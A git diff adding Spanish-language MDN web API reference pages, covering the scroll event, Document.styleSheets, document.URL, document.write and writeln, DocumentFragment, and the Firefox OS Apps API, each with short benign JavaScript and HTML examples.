+ <dd style="margin: 0 0 0 120px;">defaultView, Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Acción por defecto</dt>
+ <dd style="margin: 0 0 0 120px;">Ninguna</dd>
+ <dt style="margin: 0px 0px 0px 120px;"></dt>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>El objetivo de evento (el objetivo superior en el árbol DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>El tipo de evento.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si el evento burbujea o no.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Si el evento puede ser cancelado o no.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> de el documento)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Dado que los eventos <code>scroll</code> pueden ejecutarse a un ritmo elevado, el <em>event handler</em> no debería ejecutar operaciones computacionalmente costosas como modificaciones en el DOM. En cambio, se recomienda acelerar el evento utilizando <a href="/en-US/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame">requestAnimationFrame</a>, <a href="/en-US/docs/Web/API/WindowTimers/setTimeout">setTimeout</a> or <a href="/en-US/docs/Web/API/CustomEvent">customEvent</a>, de este modo:</p>
+
+<h4 id="Optimización_de_Scroll_con_window.requestAnimationFrame">Optimización de Scroll con window.requestAnimationFrame</h4>
+
+<pre class="brush: js">// Referencia: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+var last_known_scroll_position = 0;
+var ticking = false;
+
+function doSomething(scroll_pos) {
+  // Hacer algo con la posición del scroll
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+  }
+  ticking = true;
+});</pre>
+
+
+
+<p>Más ejemplos se pueden ver en el evento <a href="/en-US/docs/Web/Events/resize#Example">resize</a>.</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<h3 id="iOS_UIWebView">iOS UIWebView</h3>
+
+<p>En iOS UIWebViews, los eventos <code>scroll</code> no se ejecutan mientras el <em>escroleo/deslizamiento</em> se lleva a cabo; solo son ejecutados cuando el deslizamiento terminó. Ver <a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>. Safari y WKWebViews no se ven afectados por este bug.</p>
diff --git a/files/es/web/api/document/stylesheets/index.html b/files/es/web/api/document/stylesheets/index.html
new file mode 100644
index 0000000000..0cc8e47181
--- /dev/null
+++ b/files/es/web/api/document/stylesheets/index.html
@@ -0,0 +1,21 @@
+---
+title: Document.styleSheets
+slug: Web/API/Document/styleSheets
+translation_of: Web/API/DocumentOrShadowRoot/styleSheets
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Resumen</h3>
+<p>Devuelve una lista de objetos de tipo <a href="/es/DOM/stylesheet" title="es/DOM/stylesheet">stylesheet</a> para las hojas de estilo que están específicamente enlazadas o contenidas en el documento.</p>
+<h3 id="Properties" name="Properties">Propiedades</h3>
+<p><code>styleSheetList.length</code> - devuelve el número de objetos de tipo stylesheet contenidos en el objeto.</p>
+<h3 id="Syntax" name="Syntax">Sintaxis</h3>
+<pre class="eval"><em>styleSheetList</em> = <em>document</em>.styleSheets
+</pre>
+<p>El objeto devuelto es del tipo <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">StyleSheetList</a>.</p>
+<p>Es una colección ordenada de objetos de tipo <a href="/es/DOM/stylesheet" title="es/DOM/stylesheet">stylesheet</a>. <code><em>styleSheetList</em>.item(<em>index</em>)</code> o simplemente <code><em>styleSheetList</em>{{ mediawiki.external('
+ <i>
+  index</i>
+ ') }}</code> devuelve un único objeto de tipo stylesheet con el índice especificado (el índice es de origen 0).</p>
+<h3 id="Specification" name="Specification">Especificación</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-DocumentStyle-styleSheets">DOM Level 2 Style: styleSheets</a></p>
+<p>{{ languages( { "ja": "ja/DOM/document.styleSheets", "pl": "pl/DOM/document.styleSheets" } ) }}</p>
diff --git a/files/es/web/api/document/url/index.html b/files/es/web/api/document/url/index.html
new file mode 100644
index 0000000000..eec4361827
--- /dev/null
+++ b/files/es/web/api/document/url/index.html
@@ -0,0 +1,71 @@
+---
+title: document.URL
+slug: Web/API/Document/URL
+tags:
+  - API
+  - Documento
+  - HTML DOM
+  - Propiedad
+  - Referencia
+translation_of: Web/API/Document/URL
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de sólo lectura <strong><code>URL</code></strong> de la interfaz {{domxref("Document")}} devuelve la ubicación del documento como una cadena de texto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>string</var> = document.URL</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.getElementById("url").textContent = document.URL;</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="urlText"&gt;
+  URL:&lt;br/&gt;
+  &lt;span id="url"&gt;La URL va aquí&lt;/span&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 100)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Define que la propiedad es una {{domxref("USVString")}} en lugar de un {{domxref("DOMString")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}</td>
+   <td>{{Spec2("DOM1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>
+<p>{{Compat("api.Document.URL")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("HTMLDocument")}}</li>
+</ul>
diff --git a/files/es/web/api/document/write/index.html b/files/es/web/api/document/write/index.html
new file mode 100644
index 0000000000..f07bd5c9a9
--- /dev/null
+++ b/files/es/web/api/document/write/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.write()
+slug: Web/API/Document/write
+tags:
+  - API
+  - DOM
+  - Documentación
+  - Referencia
+  - metodo
+translation_of: Web/API/Document/write
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p><br>
+ Escribe una cadena de texto dentro del hilo de un <code>document </code>abierto por <a href="/en-US/docs/Web/API/document.open">document.open()</a>.</p>
+
+<div class="note">Nota: dado que <code>document.write</code> escribe directo al hilo<strong> (stream</strong>) de un documento, la llamada a <code>document.write</code> en un documento ya cargado automáticamente ejecuta <code>document.open</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.open#Notes">lo cual limpiará todo el contenido del documento en cuestión</a>.</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">document.write(texto);
+</pre>
+
+<p><code>texto </code>es una cadena de texto que contiene el texto a ser impreso en el documento.</p>
+
+<h3 id="Example">Example</h3>
+
+<pre class="brush: html">&lt;html&gt;
+
+&lt;head&gt;
+  &lt;title&gt;Ejemplo de write&lt;/title&gt;
+
+  &lt;script&gt;
+    function nuevoContenido() {
+      alert("carga el contenido nuevo");
+      document.open();
+      document.write("&lt;h1&gt;Quita el contenido viejo - Agrega el contenido nuevo!&lt;/h1&gt;");
+      document.close();
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="nuevoContenido();"&gt;
+  &lt;p&gt;Algo de contenido original del documento&lt;/p&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Escribir a un documento que ya tiene contenido cargado previamente sin llamar a <a href="/en-US/docs/Web/API/document.open"><code>document.open()</code></a>, automáticamente hará una llamada a document.open(). Después de haber finalizado la escritura del documento, es recomendable llamar a <a href="/en-US/docs/Web/API/document.close"><code>document.close()</code></a>, para informar al navegador que la carga de la página ya ha terminado. El texto que escribas allí es convertido a la estructura tipificada de HTML dentro del modelo estructural del documento. En el ejemplo de más arriba, el elemento h1 se convierte en un nodo dentro del documento.</p>
+
+<p>Si la llamada a document.write() se ejecuta dentro de una etiqueta <code>&lt;script&gt;</code> incluído en el HTML, entonces la llamada a document.open() nunca ocurrirá. Por ejemplo:</p>
+
+<pre class="brush: html">&lt;script&gt;
+  document.write("&lt;h1&gt;Título Principal&lt;/h1&gt;")
+&lt;/script&gt;
+</pre>
+
+<div class="note"><strong>Nota:</strong> <code>document.write</code> y <code>document.writeln</code> <a href="/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">no funcionan dentro de un documento XHTML</a> (obtendrás un mensaje de error que dice "Operación no soportada" ("Operation is not supported") [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] en la consola). Esto sucede cuando abrimos un archivo local de extensión .xhtml o para cualquier document servido con un <a href="/en-US/docs/Glossary/MIME_type">MIME del tipo </a><code>application/xhtml+xml</code>. Hay más información disponible en <a class="external" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Nota:</strong> <code>document.write</code> en scripts de modo <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">diferido</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">asyncrónico</a> serán ignorados, y recibirás un mensaje de error en la consola del tipo "Una llamada a document.write() desde un script cargado asincrónicamente fue ignorado" ("A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored").</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-75233634">DOM Level 2 HTML: <code>write()</code> Method</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2011/WD-html5-author-20110705/apis-in-html-documents.html#dynamic-markup-insertion">Dynamic markup insertion in HTML</a></li>
+</ul>
+
+<h2 id="También_puedes_ver">También puedes ver</h2>
+
+<ul>
+ <li>{{ domxref("element.innerHTML") }}</li>
+ <li>{{ domxref("document.createElement()") }}</li>
+</ul>
diff --git a/files/es/web/api/document/writeln/index.html b/files/es/web/api/document/writeln/index.html
new file mode 100644
index 0000000000..d9e0b72019
--- /dev/null
+++ b/files/es/web/api/document/writeln/index.html
@@ -0,0 +1,40 @@
+---
+title: Document.writeln()
+slug: Web/API/Document/writeln
+translation_of: Web/API/Document/writeln
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>Escribe una cadena de texto en el documento, seguida de una nueva línea.</p>
+
+<div class="note">
+<p>Nota: dado que <code>document.writeln</code> (al igual que <code>document.write)</code> escribe directo al hilo<strong> </strong>(<code>stream</code>) de un documento, la llamada a <code>document.write</code> en un documento ya cargado automáticamente ejecuta <code>document.open</code>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.open#Notes">lo cual limpiará todo el contenido del documento en cuestión</a>.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="eval">document.writeln(<em>línea</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<ul>
+ <li><code>línea</code> es la cadena conteniendo una línea de texto.</li>
+</ul>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre>document.writeln("&lt;p&gt;¡Hola mundo!&lt;/p&gt;");
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p><strong>document.writeln</strong> actúa igual que <a href="/es/DOM/document.write" title="en/DOM/document.write">document.write</a> exepto que agrega un carácter de nueva línea (<code>\n</code>) al final del texto a escribir.</p>
+
+<div class="note"><strong>Nota:</strong> <code>document.write</code> y <code>document.writeln</code> <a href="https://developer.mozilla.org/en-US/docs/Archive/Web/Writing_JavaScript_for_HTML">no funcionan dentro de un documento XHTML</a> (obtendrás un mensaje de error que dice "Operación no soportada" ("Operation is not supported") [<code>NS_ERROR_DOM_NOT_SUPPORTED_ERR</code>] en la consola). Esto sucede cuando abrimos un archivo local de extensión .xhtml o para cualquier document servido con un <a href="https://developer.mozilla.org/es/docs/Glossary/MIME_type">MIME del tipo </a><code>application/xhtml+xml</code>. Hay más información disponible en <a class="external external-icon" href="http://www.w3.org/MarkUp/2004/xhtml-faq#docwrite">W3C XHTML FAQ</a>.</div>
+
+<div class="note"><strong>Nota:</strong> <code>document.writeln</code> y <code>document.write</code> en scripts de modo <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-defer">diferido</a> o <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script#attr-async">asyncrónico</a> serán ignorados, y recibirás un mensaje de error en la consola del tipo "Una llamada a document.write() desde un script cargado asincrónicamente fue ignorado" ("A call to <code>document.write()</code> from an asynchronously-loaded external script was ignored").</div>
+
+<h2 id="Specification" name="Specification">Especificación</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-2-HTML-20001113/html.html#ID-35318390">writeln </a></p>
diff --git a/files/es/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html b/files/es/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html
new file mode 100644
index 0000000000..b93f8e1d7e
--- /dev/null
+++ b/files/es/web/api/document_object_model/using_the_w3c_dom_level_1_core/example/index.html
@@ -0,0 +1,40 @@
+---
+title: Example
+slug: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example
+tags:
+  - DOM
+  - Ejemplo
+translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core/Example
+---
+<pre> &lt;html&gt;
+ &lt;head&gt;
+   &lt;title&gt;Mi Documento&lt;/title&gt;
+   &lt;script type="text/javascript"&gt;
+   function cambio() {
+     // document.getElementsByTagName("H1") retorna un NodeList de elementos
+     // h1 en el documento, y el primero es numero 0:
+     var header = document.getElementsByTagName("H1").item(0);
+     // El firstChild del encabezado es un nodo Text:
+     header.firstChild.data = "Un documento dinamico";
+     // Ahora el encabezado es "Un documento dinamico".
+     var para = document.getElementsByTagName("P").item(0);
+     para.firstChild.data = "Este es el primer parrafo.";
+     // Crea un nuevo nodo Text para el segundo parrafo
+     var newText = document.createTextNode("Este es el segundo parrafo.");
+     // Crea un nuevo Element para que sea el segundo parrafo
+     var newElement = document.createElement("P");
+     // Agrega el texto en el parrafo
+     newElement.appendChild(newText);
+     // Y agrega el parrafo al final del documento dentro del
+     // BODY (el cuál es el padre de "para")
+     para.parentNode.appendChild(newElement);
+   }
+   &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+   &lt;input type="button" value="Cambia este documento." onclick="cambio()"&gt;
+   &lt;h1&gt;Encabezado&lt;/h1&gt;
+   &lt;p&gt;Parrafo&lt;/p&gt;
+ &lt;/body&gt;
+ &lt;/head&gt;
+</pre>
diff --git a/files/es/web/api/documentfragment/index.html b/files/es/web/api/documentfragment/index.html
new file mode 100644
index 0000000000..625ea1e2c9
--- /dev/null
+++ b/files/es/web/api/documentfragment/index.html
@@ -0,0 +1,129 @@
+---
+title: DocumentFragment
+slug: Web/API/DocumentFragment
+translation_of: Web/API/DocumentFragment
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<p>La interfaz <span class="seoSummary"><strong><code>DocumentFragment</code></strong></span> representa un objeto de documento mínimo que no tiene padre. Se utiliza como una versión ligera de <span class="seoSummary">{{domxref("Document")}}</span> que almacena un segmento de una estructura de documento compuesta de nodos como un documento estándar. La gran diferencia se debe al hecho de que el fragmento de documento no forma parte de la estructura de árbol del documento activo. Los cambios realizados en el fragmento no afectan el documento  (incluso en {{Glossary("reflow")}})  ni inciden en el rendimiento cuando se realizan cambios. {{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{ domxref("DocumentFragment.DocumentFragment()", "DocumentFragment()") }}</dt>
+ <dd>Crea y devuelve un nuevo objeto <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p>Esta interfaz no tiene propiedades específicas<em>, </em>pero hereda las de su padre<em>, {{domxref("Node")}}, </em>e implementa los de la interfaz <em>{{domxref("ParentNode")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("ParentNode.children") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("HTMLCollection")}} que contiene los objetos de tipo {{domxref("Element")}} que son elementos secundarios del objeto <code>DocumentFragment</code>.</dd>
+ <dt>{{ domxref("ParentNode.firstElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve el {{domxref("Element")}} que es el primer hijo del objeto <code>DocumentFragment</code>, o <code>null</code> si no hay ninguno.</dd>
+ <dt>{{ domxref("ParentNode.lastElementChild") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve el {{domxref("Element")}} que es el último hijo del objeto <code>DocumentFragment</code>, o <code>null</code> si no hay ninguno.</dd>
+ <dt>{{ domxref("ParentNode.childElementCount") }} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un <code>unsigned long</code> que indica cantidad de elementos secundarios que tiene el objeto <code>DocumentFragment</code>.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<p><em>Esta interfaz hereda los métodos de su padre</em>, <em>{{domxref("Node")}}<em>, e implementa los de la interfaz {{domxref("ParentNode")}}</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("DocumentFragment.querySelector()")}}</dt>
+ <dd>Devuelve el primer nodo {{domxref("Element")}} dentro de <code>DocumentFragment</code>, en el orden del documento, que coincide con los selectores especificados.</dd>
+ <dt>{{domxref("DocumentFragment.querySelectorAll()")}}</dt>
+ <dd>Devuelve un {{domxref("NodeList")}} de todos los nodos {{domxref("Element")}} dentro de <code>DocumentFragment</code> que coincide con los selectores especificados.</dd>
+ <dt>{{domxref("DocumentFragment.getElementById()")}}</dt>
+ <dd>Devuelve el primer nodo{{domxref("Element")}} dentro de <code style="font-size: 14px;">DocumentFragment</code>, en el orden del documento, que coincide con el <strong>ID</strong> especificado. funcionalmente equivale a {{domxref("Document.getElementById()")}}.</dd>
+</dl>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<p>A common use for <code>DocumentFragment</code> is to create one, assemble a DOM subtree within it, then append or insert the fragment into the DOM using {{domxref("Node")}} interface methods such as {{domxref("Node.appendChild", "appendChild()")}} or {{domxref("Node.insertBefore", "insertBefore()")}}. Doing this moves the fragment's nodes into the DOM, leaving behind an empty <code>DocumentFragment</code>. Because all of the nodes are inserted into the document at once, only one reflow and render is triggered instead of potentially one for each node inserted if they were inserted separately.</p>
+
+<p>This interface is also of great use with Web components: {{HTMLElement("template")}} elements contain a <code>DocumentFragment</code> in their {{domxref("HTMLTemplateElement.content")}} property.</p>
+
+<p>An empty <code>DocumentFragment</code> can be created using the {{domxref("document.createDocumentFragment()")}} method or the constructor.</p>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul id="list"&gt;&lt;/ul&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var list = document.querySelector('#list')
+var fruits = ['Apple', 'Orange', 'Banana', 'Melon']
+
+var fragment = new DocumentFragment()
+
+fruits.forEach(function (fruit) {
+  var li = document.createElement('li')
+  li.innerHTML = fruit
+  fragment.appendChild(li)
+})
+
+list.appendChild(fragment)
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-documentfragment', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added the constructor and the implementation of {{domxref("ParentNode")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#the-apis', 'DocumentFragment')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Added the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-B63ED1A3', 'DocumentFragment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DocumentFragment")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">The DOM interfaces index.</a></li>
+</ul>
diff --git a/files/es/web/api/domapplicationsregistry/checkinstalled/index.html b/files/es/web/api/domapplicationsregistry/checkinstalled/index.html
new file mode 100644
index 0000000000..5c2d298aa9
--- /dev/null
+++ b/files/es/web/api/domapplicationsregistry/checkinstalled/index.html
@@ -0,0 +1,49 @@
+---
+title: Apps.checkInstalled
+slug: Web/API/DOMApplicationsRegistry/checkInstalled
+tags:
+  - API
+  - Apps
+  - Apps API
+  - Firefox OS
+  - Procedimiento
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry/checkInstalled
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<h2 id="Resúmen">Resúmen</h2>
+<p><span id="result_box" lang="es"><span class="hps">Obtiene</span> <span class="hps">información acerca de</span> <span class="hps">la aplicación</span> <span class="hps">dada.</span> <span class="hps">Esto puede ser usado</span> <span class="hps">para determinar</span> <span class="hps">si se ha instalado</span> <span class="hps">la aplicación.</span></span></p>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre><code>var request = window.navigator.mozApps.</code>checkInstalled<code>(url)</code>;
+</pre>
+<h2 id="Parámetros">Parámetros</h2>
+<dl>
+ <dt>
+  <code>url</code></dt>
+ <dd>
+  Una <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String">cadena</a> de URL <span id="result_box" lang="es"><span class="hps">que contiene</span> <span class="hps">la ubicación de el</span></span> <a href="/en-US/docs/Web/Apps/Manifest">manifiesto</a> de la aplicación.</dd>
+</dl>
+<h2 id="Returns" name="Returns">Resultados</h2>
+<p>La función <code>checkInstalled()</code> devuelve un objeto {{ domxref("DOMRequest") }}. La propiedad <code>DOMRequest.result</code> contiene un <a href="/en-US/docs/Web/API/App"><code>App</code> object</a>, <span id="result_box" lang="es"><span class="hps">que es un objeto</span> <span class="hps">JavaScript</span> <span class="hps">que describe</span> <span class="hps">la aplicación</span> <span class="hps">instalada</span><span>.</span></span> Si la aplicación no se encuentra instalada, entonces <code>DOMRequest.result</code> es <code>null</code> (nulo).</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var request = window.navigator.mozApps.checkInstalled("http://ejemplo.com/manifest.webapp");
+request.onerror = function(e) {
+  alert("Error de llamada checkInstalled: " + request.error.name);
+};
+request.onsuccess = function(e) {
+  if (request.result) {
+    console.log("La aplicación está instalada!");
+  }
+  else {
+    console.log("La aplicación no está instalada!");
+  }
+};</pre>
+<p>S<span id="result_box" lang="es"><span>e espera a las personas que llaman</span> <span class="hps">para establecer</span> <span class="hps">las</span> <span class="hps">propiedades</span> <span class="hps">de devolución de llamada</span></span> <code>onsuccess</code> y <code>onerror</code> del objeto devuelto, como se muestra en este ejemplo.<span id="result_box" lang="es"><span class="hps"> Si la llamada</span> <span class="hps">se realiza correctamente, </span> <span class="hps">un</span></span> <a href="/en-US/docs/Web/API/App"><code>App</code> object</a> se devuelve en la propiedad <code>result</code> del objeto devuelto. <span id="result_box" lang="es"><span class="hps">En</span> <span class="hps">el ejemplo esto es </span></span><code>request.result</code>.</p>
+<h2 id="Errores">Errores</h2>
+<p>La cadena <code>ERROR</code> <span class="short_text" id="result_box" lang="es"><span class="hps">pueden ser devueltos</span> <span class="hps">en</span></span> <code>DOMRequest.error</code>.</p>
+<p><span id="result_box" lang="es"><span class="hps">Una excepción</span></span> <code>NS_ERROR_DOM_BAD_URI</code> <span id="result_box" lang="es"><span class="hps">se produce</span> <span class="hps">si</span> <span class="hps">el manifiesto</span> <span class="hps">está en un dominio</span> <span class="hps">diferente a</span> <span class="hps">la página</span> <span class="hps">en que se solicita la información</span></span>. <span id="result_box" lang="es"><span class="hps">Este</span> <span class="hps">se produce</span> <span class="hps">tan pronto como</span> <span class="hps">se invoca</span></span> <code>checkInstalled</code>.</p>
+<h2 id="Temas_relacionados">Temas relacionados</h2>
+<ul>
+ <li><a href="/en-US/docs/Web/API/App"><code>App</code> object</a></li>
+ <li><a href="/en-US/docs/Web/Apps/JavaScript_API">Apps JavaScript API</a></li>
+</ul>
diff --git a/files/es/web/api/domapplicationsregistry/getinstalled/index.html b/files/es/web/api/domapplicationsregistry/getinstalled/index.html
new file mode 100644
index 0000000000..a1b96ee7ff
--- /dev/null
+++ b/files/es/web/api/domapplicationsregistry/getinstalled/index.html
@@ -0,0 +1,40 @@
+---
+title: Apps.getInstalled
+slug: Web/API/DOMApplicationsRegistry/getInstalled
+tags:
+  - API
+  - Apps
+  - Apps API
+  - Firefox OS
+  - Procedimiento
+translation_of: Archive/Marketplace/API/DOMApplicationsRegistry/getInstalled
+---
+<p>{{ ApiRef() }}</p>
+<p>{{ non-standard_header() }}</p>
+<h2 id="Resumen">Resumen</h2>
+<p><span id="result_box" lang="es"><span class="hps">Obtenga una lista de</span> <span class="hps">todas las aplicaciones instaladas</span> <span class="hps">desde</span> <span class="hps">este origen</span><span>.</span> <span class="hps">Por ejemplo</span><span>,</span> <span class="hps">si se llama a</span> <span class="hps">esto en el</span> <span class="hps">Firefox</span> <span class="hps">Marketplace,</span> <span class="hps">obtendrá</span> <span class="hps">la lista</span> <span class="hps">de aplicaciones instaladas</span> <span class="hps">por el</span> <span class="hps">Firefox</span> <span class="hps">Marketplace.</span></span></p>
+<div class="note">
+ <p><strong>Note:</strong> <span id="result_box" lang="es"><span class="hps">Múltiples</span> <span class="hps">aplicaciones</span> <span class="hps">por</span> <span class="hps">origen</span> <span class="hps">no son compatibles.</span> <span class="hps">Para alojar</span> <span class="hps">varias</span> <span class="hps">aplicaciones</span> <span class="hps">de un dominio</span></span>, <a href="/en-US/docs/Web/Apps/Adding_a_subdomain">establezca un subdominio para cada aplicación</a>; por ejemplo: <code>miapp.midominio.com</code>, <code>otraapp.midominio.com</code>, <span class="short_text" id="result_box" lang="es"><span class="hps">y así sucesivamente</span></span>.</p>
+</div>
+<h2 id="Sintaxis">Sintaxis</h2>
+<pre><code>var request = window.navigator.mozApps.<code>getInstalled</code>()</code>;
+</pre>
+<h2 id="Parámetros">Parámetros</h2>
+<p>Ninguno.</p>
+<h2 id="Ejemplo">Ejemplo</h2>
+<pre class="brush: js">var request = window.navigator.mozApps.getInstalled();
+request.onerror = function(e) {
+  alert("Error de llamada getInstalled: " + request.error.name);
+};
+request.onsuccess = function(e) {
+  alert("Éxito, numero de apps: " + request.result.length);
+  var appsRecord = request.result;
+};</pre>
